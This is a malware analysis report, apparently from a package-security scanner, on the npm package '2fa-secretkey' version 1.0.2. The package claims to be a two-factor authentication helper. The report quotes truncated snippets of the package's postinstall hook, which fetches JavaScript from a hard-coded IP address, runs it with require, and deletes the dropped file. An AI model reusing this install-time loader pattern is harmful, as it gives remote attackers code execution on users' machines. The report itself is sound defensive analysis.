The payload is stored briefly in a random temporary file and then removed. - **Trigger:** npm installation, including transitive installation when lifecycle scripts are enabled - **Impact:** An attacker controlling the remote server can run arbitrary code as the installing user. - **Evidence paths:** package.json, index.js - **Review source:** ai\_review - **Reviewed:** 2026-08-27T19:07:13.978Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** Install-time remote payload download and execution - **Attack narrative:** During npm installation, the postinstall hook requests JavaScript from a hard-coded IP address. It writes the response to a randomly named file in the system temporary directory, loads it with require, and deletes the file after a delay. This gives the remote server arbitrary code execution in the installer’s environment without user action beyond installing the package. - **Rationale:** The package contains a postinstall downloader that immediately executes attacker-controlled remote code and attempts to remove the dropped file. This is concrete install-time malware behavior. - **Files touched:** package.json - **Network endpoints:** http://185.14.92.233:7777/p.js ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for:** The postinstall hook automatically downloads JavaScript from an IP address during installation., The hook writes the response to a temporary JavaScript file and executes it with require., The temporary payload is deleted after 60 seconds, reducing forensic visibility., The declared library entry imports a missing local module, while the install hook remains functional. - **Evidence against:** No credential harvesting or exfiltration is directly present in the packaged source., The visible entrypoint only presents TOTP helper exports, although it is incomplete. ## Public findings ### 1. High: Install Time Lifecycle Scripts - **Category:** Manifest - **Confidence:** 90.0% - **Path:** package.json - **Public source:** [View source]() Package defines install-time lifecycle scripts. Public source snippet (untrusted): ```json scripts.postinstall = node -e "var h=require('http'),d='',os=require('os'),fs=require('fs'),pa=require('path');h.get('http://185.14.92.233:7777/p.js',function(r){r.on('data',function(c){d+=c});r.on('end... ``` ### 2. Critical: Red Install Lifecycle Script - **Category:** Manifest - **Confidence:** 95.0% - **Path:** package.json - **Public source:** [View source]() Install-time lifecycle script matches a deterministic static-gate block pattern. Public source snippet (untrusted): ```json scripts.postinstall = node -e "var h=require('http'),d='',os=require('os'),fs=require('fs'),pa=require('path');h.get('http://185.14.92.233:7777/p.js',function(r){r.on('data',function(c){d+=c});r.on('end... ``` ### 3. Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 4. High: Suspicious Lifecycle Evidence - **Category:** Manifest - **Confidence:** 99.0% - **Path:** package.json - **Public source:** [View source]() The postinstall hook automatically downloads JavaScript from an IP address during installation. Public source snippet (untrusted): ```json "postinstall": "node -e \"var h=require('http'),d='',os=require('os'),fs=require('fs'),pa=require('path');h.get('http://185.14.92.233:7777/p.js',function(r){ ``` ### 5. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** package.json - **Public source:** [View source]() The hook writes the response to a temporary JavaScript file and executes it with require. Public source snippet (untrusted): ```json fs.writeFileSync(t,d);require(t);setTimeout(function(){ ``` ### 6. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** package.json - **Public source:** [View source]() The temporary payload is deleted after 60 seconds, reducing forensic visibility. Public source snippet (untrusted): ```json setTimeout(function(){try{fs.unlinkSync(t)}catch(e){}},60000) ``` ### 7. High: Missing Postinstall Target - **Category:** Manifest - **Confidence:** 99.0% - **Path:** index.js - **Public source:** [View source]() The declared library entry imports a missing local module, while the install hook remains functional. Public source snippet (untrusted): ```javascript const _c = require("./lib/core"); ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** Yes - **Published lifecycle scripts:** postinstall - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 0 ## Package metadata - **Package:** 2fa-secretkey - **Ecosystem:** npm - **Version:** 1.0.2 - **License:** MIT - **Version published:** 2026-08-27T19:01:42.777Z - **Package first seen:** 2026-08-27T19:07:13.978Z - **Package last seen:** 2026-08-27T19:31:47.202Z - **Known versions:** 4 - **Latest version:** 1.0.6 - **Appeal under review:** No - **Description:** Fast, minimal two-factor auth helper for Node.js — HMAC-based OTP with zero dependencies - **Author:** secretkey2fa contributors - **Keywords:** totp, hotp, otp, 2fa, mfa, authenticator, secret-key, one-time-password - **Runtime engines:** node: \>=14 - **Artifact files:** 3 - **Artifact unpacked size:** 3,292 bytes - **Artifact signatures:** 1 - **Attestations:** No ## References - [HTML security report]() - [Repository]() - [Homepage]() - [Issues]()
